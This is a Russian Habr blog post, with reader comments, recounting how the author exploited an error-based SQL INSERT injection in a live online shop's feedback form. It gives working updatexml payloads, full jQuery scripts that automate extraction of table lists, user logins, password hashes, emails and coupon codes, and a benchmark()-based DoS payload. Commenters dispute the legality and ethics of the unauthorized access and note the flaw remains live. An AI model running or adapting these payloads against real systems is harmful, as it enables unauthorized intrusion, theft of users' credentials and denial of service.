Давно на Хабре не звучали истории про SQL injection. А уж рассказов из жизни про SQL INSERT injection вообще очень мало. Поэтому расскажу свою.
Лирическое вступление
Лирическое вступление

Всё началось с моего желания купить себе нечто недешёвое в разборном виде в интернет-магазине A.B.ru фирмы B. После оформления, связи с менеджером по электронной почте, получения посылки и обзора её содержимого оказалось, что некоторых метизов очень не хватает. Полного перечня всего необходимого не было, лишь список болтов, гаек и шайб. Я начал сборку, дойдя до того места, где без отсутствующих болтов уже никак не обойтись. Поэтому мною было скурпулёзно составлено описание не найденных метизов и выслано электронным письмом той же девушке-менеджеру, с которой мы общались. К чести магазина стоит сказать, что практически всё необходимое было выслано второй посылкой. Поэтому я начал сборку, загоняя в дальний угол своего разума опасения о том, что может отсутствовать что-то ещё. Но, дойдя до финишной прямой, оказалось, что примерно 1/4-ой часть устройства не хватает в принципе, судя по фотографиям из руководства и здравому смыслу. Поэтому за первым письмом о недокомплекте последовало второе, куда более обширное, а сборка отложена.
Когда прошла вторая неделя ожидания, мне удалось убедить себя в том, что девушка-менеджер вышла в отпуск. Поэтому я переслал ей письмо двухнедельной давности ещё раз и перешёл к поиску других каналов электронной связи — очень уж не хотелось звонить в Москву. В первую очередь тоже самое письмо было отправлено на общий эл-адрес A@B.ru, на что был получен мгновенный ответ: почтовый сервер отказывается принимать письмо из-за переполненного ящика получателя <мужик>@B.ru. Тогда была найдена форма обратной связи на сайте — последняя ниточка соединяющая меня на текущий момент с интернет-магазином. В первую очередь я описал проблему переполненного почтового ящика и вставил сообщение об отказе доставить письмо, которое содержало в себе одинарные кавычки…

Начало

На попытку отправить отчёт об ошибке через форму обратной связи, на пару секунд на странице появилась ошибка, в которой угадывался голос MySQL. Поэтому я открыл консоль браузера, повторил запрос и заглянул в ответ сервера:

Error displaying the error page: Application Instantiation Error: You have an error in your SQL syntax; at line 1 SQL=INSERT INTO ab_com_feedback (`id`, `ordering`, `state`, `checked_out`, `checked_out_time`, `created_by`, `name`, `email`, `phone`, `ask`, `answer`, `createdate`, `changedate`, `userans`) VALUES (NULL, '0',  '1', '0', '2015-08-04 11:36:37', '', 'Max', '<мой адрес>@gmail.com', '', 'текст, в котором упоминается адрес '<мужика>@B.ru' прямо в одинарных кавычках.', '', '2015-08-04 11:36:37', '0000-00-00 00:00:00', '0');

Итак, найдена SQL insert injection в интернет-магазине, которому я отдал свои кровные.
В первую очередь, я нашёл пару достойных материалов по теме. Самый интересный из них SQL Injection in Insert, Update and Delete Statements (Osanda Malith Jayathissa). Благодаря ему, взгляд упал на функцию updatexml, которая появилась в MySQL 5.1 (т.е. если не сработает, то можно будет сделать соответствующий вывод:
UpdateXML(xml_target, xpath_expr, new_xml)

Смысл использования функции в том, чтобы создать заранее неверный XPath Expression (второй аргумент). Для этого Osanda предлагает делать конкатенацию с символом "~". Что ж, проверяем в локальном MySQL:
mysql> select updatexml(1, '123', 0) from dual;
+------------------------+
| updatexml(1, '123', 0) |
+------------------------+
| NULL                   |
+------------------------+
1 row in set (0,00 sec)
mysql> select updatexml(1, '~123', 0) from dual;
ERROR 1105 (HY000): XPATH syntax error: '~123'

Да, работает. Теперь формируем тело сообщения для нашего магазина. Первый получившийся запрос выглядел так:
message' or updatexml(1,concat(0x7e,(version())),0) or '', '0000-00-00 00:00:00', '0000-00-00 00:00:00', '1');--'

Потом я немного подумал, и сократил его до:
' or updatexml(1,concat(0x7e,(version())),0) or '

Ответ интернет-магазина:
Error displaying the error page: Application Instantiation Error: XPATH syntax error: '~5.5.41-MariaDB-log' SQL=INSERT INTO ab_com_feedback (`id`, `ordering`, `state`, `checked_out`, `checked_out_time`, `created_by`, `name`, `email`, `phone`, `ask`, `answer`, `createdate`, `changedate`, `userans`) VALUES (NULL, '0',  '1', '0', '2015-08-04 12:39:12', '', 'Ken', 'ken@mailinator.com', '', '' or updatexml(1,concat(0x7e,(version())),0) or '', '', '2015-08-04 12:39:12', '0000-00-00 00:00:00', '0');

Сработало! Всё крутится на MariaDB 5.5. Отличия от MySQL минимальны, версия 5.5 поддерживает множество полезных операторов и функций. Пройдясь по типичным для подобных ситуаций данным, я вытащил следующую информацию:
version: 5.5.41-MariaDB-log
hostname: db-www
user: A@A.B.ru
database: A

Теперь можно попробовать выполнение полноценных SQL-запросов. В первую очередь, ради интереса, я написать такой:
' or updatexml(0, concat(0x7e,(SELECT password FROM mysql.user WHERE user='root')), 0) or '

Но, разумеется, получил отказ:
Error displaying the error page: Application Instantiation Error: SELECT command denied to user 'A'@'A.B.ru' for table 'user' SQL=INSERT INTO ab_com_feedback (`id`, `ordering`, `state`, `checked_out`, `checked_out_time`, `created_by`, `name`, `email`, `phone`, `ask`, `answer`, `createdate`, `changedate`, `userans`) VALUES (NULL, '0',  '1', '0', '2015-08-04 14:27:21', '', 'Ken', 'ken@mailinator.com', '', '' or updatexml(0, concat(0x7e,(SELECT password FROM mysql.user WHERE user='root')), 0) or '', '', '2015-08-04 14:27:21', '0000-00-00 00:00:00', '0');

Теперь нужно получить список таблиц в текущей БД. Для этого используем доступную с MySQL 5.0 мета-таблицу information_schema:
' or updatexml(0, concat(0x7e,(SELECT concat(table_schema, ':', table_name) FROM information_schema.tables WHERE table_schema=database() LIMIT 0, 1)), 0) or '

Меняя первый параметр в операторе LIMIT, можно перебрать все текущие таблицы. Меня хватило на
первые 20 штук
    aa:cart
    aa:category
    aa:includes
    aa:items
    aa:layout
    aa:menu
    aa:aabb_ak_profiles
    aa:aabb_ak_stats
    aa:aabb_ak_storage
    aa:aabb_assets
    aa:aabb_associations
    aa:aabb_banner_clients
    aa:aabb_banner_tracks
    aa:aabb_banners
    aa:aabb_categories
    aa:aabb_com_feedback
    aa:aabb_com_photo_votes
    aa:aabb_com_photo_votes_comment
    aa:aabb_com_photo_votes_likes
    aa:aabb_com_wishlist


Решаю автоматизировать. Речь идёт об AJAX POST-запросе и на сайте включён jQuery. Нам нужно отправлять сразу несколько запросов — это асинхронная работа, так что я решил сразу подгрузить библиотеку async и попробовать с её помощью получить желаемый список таблиц. Получилась
не очень изящная функция создания и отсылки множества одновременных запросов
$.getScript('https://raw.githubusercontent.com/caolan/async/master/lib/async.js');

(function() {
    var ans_start = " '~", // Начало полезной информации в ответе сервера
        ans_stop = "' SQL=", // Конец полезной информации
        lim = 20,
        start_from = 0;
    
    // Куча одновременных AJAX-запросов
    async.times(lim, function(i, next) {
        var injection = "' or updatexml(0, concat(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema=database() limit "+ (start_from + i) +", 1)), 0) or '";
        $.ajax({
            url: '/feedback/post.php',
            method: 'POST',
            data: $.param({
                data_email: 'undefined',
                data_email_body: 'undefined',
                data_email_subject: 'A B',
                type: 'feedback',
                name: 'Test',
                mail: 'test@mailinator.com',
                phone: '',
                feedbacktext: injection,
                else: '',
                recipient: 'A@B.ru',
                btn: ''
            }),
            success: function(resp) {
                next(null, resp.substring(resp.indexOf(ans_start) + ans_start.length, resp.indexOf(ans_stop)));
            },
            error: function(jqXHR, textStatus) {
                next(textStatus);
            }
        });
    }, function(err, results) {
        // Все результаты в конце одним скопом
        if (err) return console.error(err);
        window.INJ_RESULTS = results; // Опытным путём установил, что из консоли браузера не всегда удобно копировать данные, поэтому лучше привязать их к какой-нибудь глобальной переменной для пост-обработки
        console.log(results.join('\n')); // Вывод одной строкой во избежание проблем с копированием
    });
})();


Таким образом я получил список первых 20 таблиц, но понял, что одновременно посылать множество запросов нехорошо (на последние из них сервер отвечал в течении 20 секунд). Решил, что не стоит угрожать стабильности работы магазина и поменял функцию async.times на async.timesSeries, чтобы каждый следующий запрос отправлялся после получения ответа на предыдущий. Поменял параметр lim с 20 на 200 и ушёл за чашечкой чая. А когда вернулся, в моём распоряжении был
список всех таблиц
aa:cart
aa:category
<...>
aa:aabb_finder_links
aa:aabb_finder_links_terms0
aa:aabb_finder_links_terms1
<...>
aa:aabb_jcomments_votes
aa:aabb_jsecurelog
aa:aabb_jshopping_addons
<...>
aa:aabb_jshopping_coupons
<...>
aa:aabb_jshopping_shipping_meth
<...>
aa:aabb_jshopping_usergroups
aa:aabb_jshopping_users
<...>
aa:aabb_usergroups
aa:aabb_users
aa:aabb_viewlevels
aa:aabb_weblinks
aa:aabb_wf_profiles
aa:aabb_xmap_items
aa:aabb_xmap_sitemap
aa:modules
aa:orders
aa:oshibka
aa:params
aa:reviews
aa:slideshow
aa:users


Из этого списка стало понятно два факта: стоит Joomla и объем полезной информации ограничен 32-мя символов. Причём первых из них ("~") убрать мы не можем, значит у нас всего 31 символ. Что ж, не так уж мало. Было много интересных таблиц (3 таблицы *users и aabb_jshopping_coupons). Сначала я исследовал структуру таблицы users, модифицируя переменную injection:
' or updatexml(0, concat(0x7e,(SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1)), 0) or '

id, login, password, email, tel, name, firma, active, date, role

Потом её содержимое с помощью функции CONCAT_WS:
' or updatexml(0, concat(0x7e,(SELECT CONCAT_WS(':',id,login,password) FROM users LIMIT 0,1)), 0) or '

Но каждая запись получалась длинной ровно в 31 символ из-за избытка информации, поэтому сначала нужно было преодолеть это ограничение. Для этого я решил воспользоваться функцией SUBSTRING, а получение новой порции данных реализовать через рекурсию. В итоге получился
вот такой конструктор запросов `ajax93t411`.
$.getScript('https://raw.githubusercontent.com/caolan/async/master/lib/async.js');

// Константы, чтобы потом легче было
var ANS_START = " '~",
    ANS_STOP = "' SQL=",
    ANS_ERR = "Er",
    ANS_LIM = 31;

// Основная функция
// start_from и lim для путешествия по строчкам таблицы
// construct_req - функция, возвращающая строку с запросом
function ajax93t411(start_from, lim, construct_req) {
    // значения по умолчанию ня всякий случай
    start_from = start_from || 0;
    lim = lim || 1;

    // Запрос к серверу. i, offset - просто передаются в construct_req
    function req(i, offset, callback) {
        $.ajax({
            url: '/feedback/post.php',
            method: 'POST',
            data: $.param({
                data_email: 'undefined',
                data_email_body: 'undefined',
                data_email_subject: 'A B',
                type: 'feedback',
                name: 'Test',
                mail: 'test@mailinator.com',
                phone: '',
                feedbacktext: construct_req(start_from, i, offset),
                else: '',
                recipient: 'A@B.ru',
                btn: ''
            }),
            success: function(resp) {
                callback(null, resp.substring(resp.indexOf(ANS_START) + ANS_START.length, resp.indexOf(ANS_STOP)));
            },
            error: function(jqXHR, textStatus) {
                callback(textStatus);
            }
        });
    }

    // Если длина ответа получается равна 31, то делаем смещение и
    // ещё один запрос, суммируя результаты
    function constructReq(i, full_answer, offset, next) {
        req(i, offset, function(err, answer) {
            if (err) return next(err, full_answer);

            full_answer += answer;
            if (answer.length == ANS_LIM) {
                constructReq(i, full_answer, offset + ANS_LIM, next);
            } else {
                next(null, full_answer);
            }
        });
    }
    
    // Путешествуем по заданному количеству строк таблицы
    async.timesSeries(lim, function(i, next) {
        constructReq(i, '', 1, next);
    }, function(err, results) {
        if (err) return console.error(err);
        window.INJ_RESULTS = results;
        console.log(results.join(', '));
    });
}


По такому алгоритму данные будут вытягиваться ещё дольше, зато целиком и полностью. Теперь можно создавать сами запросы отдельно от общей логики:
function inj(start_from, i, offset) {
    return "' or updatexml(0, concat(0x7e,(SELECT SUBSTRING(concat_ws(':',id,login,password,email), "+ offset +", "+ ANS_LIM +") FROM users LIMIT "+ (start_from + i) +",1)), 0) or '"
}
ajax93t411(0, 30, inj)

И первые 30 строк таблицы users в консоли браузера.
function inj(start_from, i, offset) {
    return "' or updatexml(0, concat(0x7e,(SELECT SUBSTRING(concat_ws(':',username,email,password), "+ offset +", "+ ANS_LIM +") FROM aabb_users LIMIT "+ (start_from + i) +",1)), 0) or '"
}

ajax93t411(0, 30, inj)

Далее опишу лишь наиболее интересные моменты.
Купоны, в т.ч. для Хабра и Гиктаймс, оказались просроченными. Да и свою игрушку я уже купил.
function inj(start_from, i, offset) {
    return "' or updatexml(0, concat(0x7e,(SELECT SUBSTRING(concat_ws(':',coupon_code,coupon_value,coupon_start_date,coupon_expire_date), "+ offset +", "+ ANS_LIM +") FROM aabb_jshopping_coupons LIMIT "+ (start_from + i) +",1)), 0) or '"
}

ajax93t411(0, 30, inj)


Все таблицы в полную длину для всех доступных баз данных:
function inj(start_from, i, offset) {
    return "' or updatexml(0, concat(0x7e,(SELECT SUBSTRING(concat_ws(':', table_schema, table_name), "+ offset +", "+ ANS_LIM +") FROM information_schema.tables LIMIT "+ (start_from + i) +", 1)), 0) or '"
}

ajax93t411(62, 100, inj); // Первые 62 - это сама information_schema
ajax93t411(162, 100, inj);

Как оказалось, не только интернет-магазин A.B.ru работает на Joomla, но и такой же магазин B.ru на ней же и на том же сервере. Но перспектив от исследования ещё одного сайта я не увидел. В конце концов, моей целью не было получение наживы. Поэтому я решил, что читать данные хорошо, но…

Можно ли что-нибудь записать?

Как оказалось, нет. Так как нам доступны только подзапросы. Решил, что стоит всё же попробовать работу с файлами. Но чтобы не навредить интернет-магазину своими неосторожными действиями, перенесу повествование на собственную машину, где провёл
некоторые опыты
Создаём простейшую таблицу:
mysql> create database test;
Query OK, 1 row affected (0,06 sec)

mysql> create table t(id int, msg text);
Query OK, 0 rows affected (0,70 sec)

mysql> insert into t values (1, 'msg');
Query OK, 1 row affected (0,06 sec)

mysql> select * from t;
+------+------+
| id   | msg  |
+------+------+
|    1 | msg  |
+------+------+
1 row in set (0,00 sec)

Попробуем имитировать SQL insert injection:
mysql> insert into t values (1, '' or updatexml(1, concat('~', version()), 0) or '');
ERROR 1105 (HY000): XPATH syntax error: '~5.6.25-0ubuntu0.15.04.1'

mysql> insert into t values (1, '' or updatexml(1, concat('~', '1234567890123456789012345678901234567890'), 0) or '');
ERROR 1105 (HY000): XPATH syntax error: '~1234567890123456789012345678901'

То же самое ограничение в 32 символа.

Попробуем вывод в файл:
mysql> select 1 from dual into outfile 'test.txt';
Query OK, 1 row affected (0,00 sec)

$ sudo ls -la /var/lib/mysql/test/
итого 124
drwx------  2 mysql mysql  4096 авг.  11 18:07 .
drwx------ 12 mysql mysql  4096 авг.  11 17:50 ..
-rw-rw----  1 mysql mysql    65 авг.  11 17:50 db.opt
-rw-rw-rw-  1 mysql mysql     2 авг.  11 18:07 test.txt
-rw-rw----  1 mysql mysql  8584 авг.  11 17:52 t.frm
-rw-rw----  1 mysql mysql 98304 авг.  11 17:52 t.ibd

mysql> insert into t values (1, '' or updatexml(1, concat('~', (select 1 from dual into outfile 'test.txt')), 0) or '');
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'into outfile 'test.txt')), 0) or '')' at line 1

Ожидаемо, но проверить стоило. Попробуем чтение файла. Так оно выглядит в нормальном виде:
mysql> LOAD DATA INFILE 'test.txt' into table t;
Query OK, 1 row affected, 1 warning (0,08 sec)
Records: 1  Deleted: 0  Skipped: 0  Warnings: 1

mysql> select * from t;
+------+------+
| id   | msg  |
+------+------+
|    1 | msg  |
|    1 | NULL |
+------+------+
2 rows in set (0,00 sec)

Но внутри INSERT INTO тоже не работает:
mysql> insert into t values (1, '' or updatexml(1, concat('~', (LOAD DATA INFILE 'test.txt' into table t)), 0) or '');
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'LOAD DATA INFILE 'test.txt' into table t)), 0) or '')' at line 1
mysql> insert into t values (1, '' or updatexml(1, concat('~', (LOAD DATA INFILE 'test.txt')), 0) or '');
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'LOAD DATA INFILE 'test.txt')), 0) or '')' at line 1

В любом случае, применительно к интернет-магазину, полные пути к сайту мне неизвестны, чтобы, например, создать PHP Shell.


Написал в интернет-магазин
Письмо
Здравствуйте.

Случайно обнаружил ошибку на вашем сайте.
Страница A.B.ru<путь>, форма обратной связи.
Если заполнить имя и e-mail, а в теле сообщения использовать символ одинарной кавычки ('), то после нажатия на «Отправить» на экране на некоторое время будет выведена ошибка от используемой СУБД. Если вчитаться и откорректировать текст сообщения, то можно получить любую хранящуюся в БД информацию.

Предлагаю как можно скорее исправить ошибку, проверить все написанные программистом модули/страницы на наличие подобных проблем и закрыть данный источник проблем.
Получил
ответ
Добрый день, Максим.

Спасибо за Ваше замечание, учтём

С уважением,
A B
Подумав, отправил
ещё одно письмо
Если не возражаете, я бы описал свой «спортивный интерес» в статье без ссылок прямых и косвенных на сайт и фирму, разумеется. Сообщите пожалуйста, когда проблема будет исправлена, на всякий случай.


День следующий

Ответа на второе письмо нет. Ну и ладно. Ровно через сутки зашёл на ту же страницу с формой обратной связи. Теперь в поле ввода фильтруются все спец. символы, разумеется, на стороне клиента. Что ж, молодцы, остаётся надеяться, что это просто заплатка на время исправления реальных ошибок. А пока решил продолжить исследования — хочется разобраться до конца.

Как оказалось, полезная часть текста об ошибке в ответе от MariaDB не всегда 32 символа. При попытке получить текст на русском получается выудить лишь 16 символов. Проверил на MySQL — то же самое. Значит, ограничение не в 32 символа, а в 32 байта. Что ж, переделал утилиту ajax93t411:
ajax93t411.js
var ANS_START = " '~",
    ANS_STOP = "' SQL=",
    ANS_LIM = 31;

function ajax93t411(start_from, lim, construct_req) {
    start_from = start_from || 0;
    lim = lim || 1; // Can be -1. -1 if for "while no Err"

    function req(i, offset, callback) {
        $.ajax({

            //-- All this params is for customization. Feel free
            url: '/feedback/post.php',
            method: 'POST',
            data: $.param({
                data_email: 'undefined',
                data_email_body: 'undefined',
                data_email_subject: 'A B',
                type: 'feedback',
                name: 'Test',
                mail: 'test@mailinator.com',
                phone: '',
                feedbacktext: construct_req(start_from, i, offset), // Don't forget about this function to include
                else: '',
                recipient: 'A@B.ru',
                btn: ''
            }
            //---
            ),
            success: function(resp) {
                var answer = resp.substring(resp.indexOf(ANS_START) + ANS_START.length, resp.indexOf(ANS_STOP));
                if (answer == ANS_ERR) {
                    callback(answer);
                } else {
                    callback(null, answer);
                }
            },
            error: function(jqXHR, textStatus) {
                callback(textStatus);
            }
        });
    }

    function constructReq(i, full_answer, offset, next) {
        req(i, offset, function(err, answer) {
            if (err) return next(err, full_answer);

            full_answer += answer;
            if (answer.length > 0) {
                constructReq(i, full_answer, offset + answer.length, next);
            } else {
                $('body').append('<p>'+ full_answer +'</p>'); // Include each new result into webpage of target site. Just for usability.
                next(null, full_answer);
            }
        });
    }

    function timesSeries(lim, i, results, callback) {
        if (i < lim) {
            constructReq(i, '', 1, function(err, answer) {
                if (err) return callback(err, results);
                results.push(answer);
                timesSeries(lim, i + 1, results, callback);
            });
        } else {
            callback(null, results);
        }
    }

    function untilErrSeries(i, results, callback) {
        constructReq(i, '', 1, function(err, answer) {
            if (err) return callback(err, results);
            results.push(answer);
            untilErrSeries(i + 1, results, callback);
        });
    }

    function complete(err, results) {
        if (err) console.error(err);
        window.INJ_RESULTS = results; // Keep all results into the global variable. Just for usability.
        console.log('Done');
    }

    $('body').append('<p><b>New Request!</b></p>');
    if (lim > 0) {
        timesSeries(lim, 0, [], complete);
    } else { // lim < 0
        untilErrSeries(0, [], complete);
    }
}


Теперь программа не зависит от константной длины, а продолжает искать конец строки, пока не будет возвращена ошибка (т.е. ответ с текстом ошибки не в том формате, в котором программа его ожидает). Да, чуть больше запросов. Зато нет проблемы с текстами в не latin кодировках. Кроме того, избавился от зависимости от библиотеки async (она присутствовала для скорости разработки и апробирования результатов). А так же добавил возможность не задавать конкретное количество строк в таблице, которые нужно получить, а рекурсивно получать все доступные (до ошибки). А так же добавил вывод результатов работы прямо на страницу сайта, чтобы легче было просматривать.

Возможны ли ужасные последствия такой уязвимости?

Как мы уже выяснили, записать что-то в файл или читать из него не получится даже если у пользователя есть на то права. Зато у нас в кармане таблицы с паролями и эл. адресами всех пользователей и администраторов. Лично я подбирать их и входить на сайт даже не пытался — мне это ни к чему. Тем не менее, можно констатировать факт возможности чтения любой информации из текущей базы данных, а в нашем случае и из соседней.
Другая открываемая подобной уязвимость возможность — это атака DoS, например, вот такой подстановкой:
' or updatexml(0, concat(0x7e,(select benchmark(10000000000000000000000000000000000000000000000, encode('hello', 'world')))), 0) or '


Через неделю

Решил написать
ещё одно письмо
Добрый день.

Вы же понимаете, что текущая заплатка не устраняет уязвимости?

Ответа как и раньше не последовало.

P.S.: Статья опубликована через 13 дней с момента обнаружения уязвимости. Представители интернет-магазина на связь не выходят.

Комментарии (27)


  1. zenn
    24.08.2015 16:51

    Насколько популярен данный «интернет-магазин»? Возможно «веб-мастер» техник, обслуживающий его даже не осознал наличия потенциального доступа к базе данных по средствам SQL-инъекции?


    1. ha7y
      24.08.2015 17:03

      У меня сложилось определённое впечатление о том, кто является автором сайта. Тем не менее письма я отправлял представителям интернет-магазина, т.к. им лучше знать кто в данный момент занимается его поддержкой. Вполне возможно, что оригинальный автор сайта вовсе и не допускал эксплуатируемой в статье ошибки. Так как работники самого магазина могли что-то подредактировать или пригласить подправить сына-студента коллеги из другого отдела за 1000 рублей, например. Поэтому найденный емейл автора не был использован для связи и опубликован в статье.


  1. Smile42RU
    24.08.2015 17:06
    +3

    А свою штуку то вы в итоге собрали? Самое интересное пропустили.


    1. ha7y
      24.08.2015 17:11
      +1

      В конце прошлой недели получил очередную посылку от курьера. Теперь жду удобного вечера, чтобы вновь занять широкий подоконник, собрать всё, что осталось, и наконец-то запустить!


  1. TimsTims
    24.08.2015 17:07
    -13

    Ваше последнее письмо, отправленное 13 дней назад — ну оооочень понятное и информативное! Получив его, сотрудники сразу же всё поняли и бросились исправлять ту самую JS-закладку, и менять править код на сервере, ведь: «вы же понимаете»!

    Они сделали заплатку на стороне клиента. Это говорит, о том, что это делал некомпетентный человек. По вашему он понимает, что он сделал не так?
    Где же ваше понимание к компании и почему тогда обращаетесь к другим со словами «вы же понимаете»?


    1. ha7y
      24.08.2015 17:21
      +6

      Получив его, сотрудники сразу же всё поняли

      В статью я не включал цитируемую в письмах переписку, кроме того, тема письма не менялась. Так что да, получатель должен был понять, о чём речь. В случае, если бы у него не получилось, всегда можно ответить и переспросить, например, «Что Вы имели в виду?».
      По вашему он понимает, что он сделал не так?

      Хорошей традицией на мой взгляд являет следующий алгоритм:
      1. Сообщить об уязвимости
      2. Получить подтверждение и, как минимум, «Спасибо, исправим»
      3. Получить сообщение о том, что всё исправлено и предложение проверить, действительно ли это так с моей точки зрения
      4. Если не всё ещё исправлено, то вернуться на шаг 1, иначе сообщить о том, что всё исправлено
      5. (необязательно) Опубликовать замечательную историю

      В данном случае всё оборвалось после шага 2. Проще говоря, они мне не платят за мои действия и не предлагают этого, поэтому показывать в какой строчке кода что на что необходимо поправить, почему и зачем смысла не вижу (может быть, со мной вовсе и не программист общается). Более того, данная ошибка может встречаться ещё в массе мест по всему сайту (в самописных модулях). Мало исправить проблему только в одном месте.


      1. TimsTims
        24.08.2015 18:10
        -6

        Раз решили помочь сайту и указать на их ошибки — так зачем строить из себя «важного человека», чтобы с вас выуживали инфу?
        Хотите помочь — помогите.
        Не хотите помогать — ваше дело, никто ведь не заставляет, вы правы.

        Просто ваше отношение к менеджерам «вы дураки, разве не понимаете, что закладка у вас дырявая?» — ну ровным счетом ничего не делает.
        Получив такое письмо, пусть даже с приложенной перепиской, пусть даже если менеджеру это интересно — он спросит у того самого студента: «ты всё сделал?» — «да, я всё исправил!» и подумает, что ваше коротенькое письмо не несет в себе никакого смысла, а выуживать инфу они не любят, это да, сами дураки.

        Но раз решили помочь — так помогайте, а не бросайте где-то на полпути. Ожидал увидеть в конце статьи законченный happy-end, а не так, что 90% сделали и забили, потому-что вас не облизывают и не просят раскрыть все карты…

        Но всё-же сайт немного пытается исправиться — смотрите, закладку хоть дырявую сделал — и то хорошо. Осталось чуть-чуть надавить и всё станет красиво. Помогите уж им!


        1. ha7y
          24.08.2015 18:26
          +7

          Я согласен, что люди будут делать то, что правильно, только когда легче это сделать, чем не сделать. Возможно, стоило посылать по письму раз день, чтобы достучаться до них. Возможно даже, показать, что через эту уязвимость легко организовать DoS атаку, например, выведя из строя их сайт, принудив к перезагрузке сервера. Или даже подменить главную страницу на краткую информацию о том, что сайт небезопасен с приведением аргументированного описания того, почему и как это исправить, а заодно разместить ссылку на портфолио автора этого сайта, чтобы все желающие могли протестировать и другие его сайты на всякий случай.
          Но это не было целью. Целью было исследовать уязвимость ради собственного интереса. Результат достижения цели — данная статья. Пусть другой в подобной ситуации будет героем-одиночкой и альтруистом-принудителем в одном лице. Я всего лишь удовлетворил свой интерес в свободное время. Возможность быть скотом по отношению к зашивающимся, судя по проблемам с комплектацией, работникам оставлю другим.


          1. TimsTims
            24.08.2015 20:47
            -7

            ОК, просто в статье вы часто призываете к морали и добрым поступкам, а в конце всё бросаете…

            Что ж, и цель стала ясна только сейчас — спортивный интерес…

            Скажите тогда хотя бы название магазина в личку, побуду тем одиночкой-альтруистом, который поможет.


          1. Beched
            25.08.2015 14:10
            +6

            Не надо лукавить, Вы совершили преступление, за который предусмотрен тюремный срок, а спустя всего 2 недели написали эту банальную заметку про тривиальную эксплуатацию уязвимости.


            1. ha7y
              25.08.2015 14:19
              -1

              Простите, а где лукавство?


              1. Beched
                25.08.2015 15:32
                +4

                Про спортивный интерес.
                Вы слили базу с логинами и паролями пользователей интернет-магазина, после чего описали процесс взлома (не представляющий ничего технически нового) в публичном пространстве для самопиара, не дождавшись исправлений, а теперь говорите про спортивный интерес.
                «Прокурору расскажете».


                1. ha7y
                  25.08.2015 15:42

                  Я понял, для Вас «спортивный интерес» — это нечто другое (конкурсы, призы за первые места и т.п.). Зовите прокурора.


                  1. Beched
                    25.08.2015 15:56
                    +2

                    Нет, «спортивный интерес» — это решение сложной задачи, например, но не в лоб слить базу шопа и рассказывать всем об этом на хабре.
                    В общем, мне нечего больше добавить. Понятное дело, что даже суд по этому поводу вряд ли будет, но это не отменяет того, что это незаконно, не этично и не ново.


                    1. ha7y
                      25.08.2015 16:08
                      -2

                      Так уж получилось, что я не участвую в конкурсах, поэтому эксплуатация уязвимости в форме обратной связи стала для меня сложной задачей (получить возможность вывести любую информацию из БД через щёлку в 32 байта, максимально исследовать все возможности). Конечно, на сайте даже не было CSRF-защиты и уязвимость не была «слепой». Тем не менее, судя по текущему рейтингу статьи, кому-то она нравится. Значит, тут только Вы один занимали первое место на ZeroNights и как минимум 40 человек посчитали, что материал был им интересен. У каждого своя весовая категория.

                      это незаконно, не этично и не ново.

                      Должно быть, я что-то упустил, но совершенно не могу понять, почему Вы считаете это неэтичным?


                    1. ha7y
                      25.08.2015 16:16

                      Почему Вам хочется довести это дело до суда?


                      1. Beched
                        25.08.2015 17:13
                        +2

                        Да не хочется мне ничего доводить =) Я говорю о том, что это незаконно, и стоило подождать исправления подольше, если уж взялись помогать. Если б тесты проводились локально на своём стенде, то это был бы просто баян (кому-то интересный, тем не менее), а так это бравирование незаконным сливом БД интернет-магазина.

                        Не хочу затягивать дискуссию, просто регулярно вижу на хабре хекеров, которые включили акунетикс или сунули кавычки, взломали какой-нибудь сайт/магазин/банк и спешат всем рассказать об этом, смакуя каждый шаг, хотя все эти техники и так по 100 раз описаны в куче источников, т.е. суть не в новизне материала, а в том, что взломан какой-то сайт.
                        При этом обычно в плохом свете выставляются владельцы сайта, которые хекеру почему-то чем-то обязаны, хотя он нарушил закон =)


                        1. ha7y
                          25.08.2015 18:05

                          хотя все эти техники и так по 100 раз описаны в куче источников
                          Лично я перед написанием статьи нашёл всего парочку достойных материалов про SQL INSERT/DELETE/UPDATE injection. На один из них дал ссылку в начале.
                          стоило подождать исправления подольше, если уж взялись помогать
                          Вам удалось установить соответствие между интернет-магазином и статьёй?


                          1. Beched
                            25.08.2015 18:55

                            Адрес интернет-магазина я нашёл за минуту (инъекцию проверил, она там всё ещё присутствует).


                            1. ha7y
                              25.08.2015 20:28

                              Вот теперь бравируете Вы. Значит (по Вашей логике), ведёте себя неэтично, т.к. ставите под угрозу раскрытие адреса интернет-магазина — сейчас каждый захочет решить эту загадку.


                              1. Beched
                                25.08.2015 21:26

                                Вы задали вопрос — я ответил. А Вы, выходит, оставили косвенные ссылки на сайт, хотя владельцам обещали не делать этого. Причём разрешения не дождались.


                                1. ha7y
                                  25.08.2015 21:53

                                  Я предложил обсудить условия публикации данной статьи и ожидал получить в ответ что-то вроде «лучше без этого/подождите месяц, пока программист из отпуска выйдет/при условии предпросмотра материала/публикуйте, мы не против/я должна узнать у начальства», но не увидел никакого ответа в течении почти 2-х недель. Всё равно, что подойти к прилавку и сказать: «Я куплю это за 100 руб.», но не получив ни слова в ответ, уйти в следующий магазин и купить за другую цену, а потом получить от прохожего замечание:
                                  — Обещал же в первом магазине купить за 100 руб., а сам… Неэтично, молодой человек!


                        1. ha7y
                          25.08.2015 18:34

                          Да, получение несанкционированного доступа. Да, в какой-то степени бравирование. Да, не дождался второго пришествия и убрал всяческие упоминания магазина из статьи. Так что же неэтичного?
                          Может быть, слил 2 БД в торренты и раздал? — Нет.
                          Подобрал пароли и задефейсил сайт? — Нет.
                          Использовал полуцензурные выражения в адрес авторов и владельцев сайта? — Тоже нет.
                          Продал информацию кому-то? — Уверяю Вас, тоже нет.


        1. questor
          24.08.2015 18:28
          +5

          Вы оба в целом правы, только вот у вас в сообщении какой-то стиль предвзятый: «строить из себя важного человека», «вы дураки», «сами дураки» — вы, часом лишку не приписываете автору?


  1. BeLove
    24.08.2015 19:29
    +2

    Познать мат. часть — это клево. А вообще удобнее подобные вещи раскручивать конечно же через sqlmap.


    1. bazilxp
      24.08.2015 19:56
      -2

      обычно проблемы чинятся крайне медленно,
      все равно пользователь не догадывается или чиниться на половину


  1. bazilxp
    24.08.2015 20:03
    -1

    Очень сложно общаться с авторами программных продуктов, для них путь не очевидный,
    как это случилось и как это правильно починить/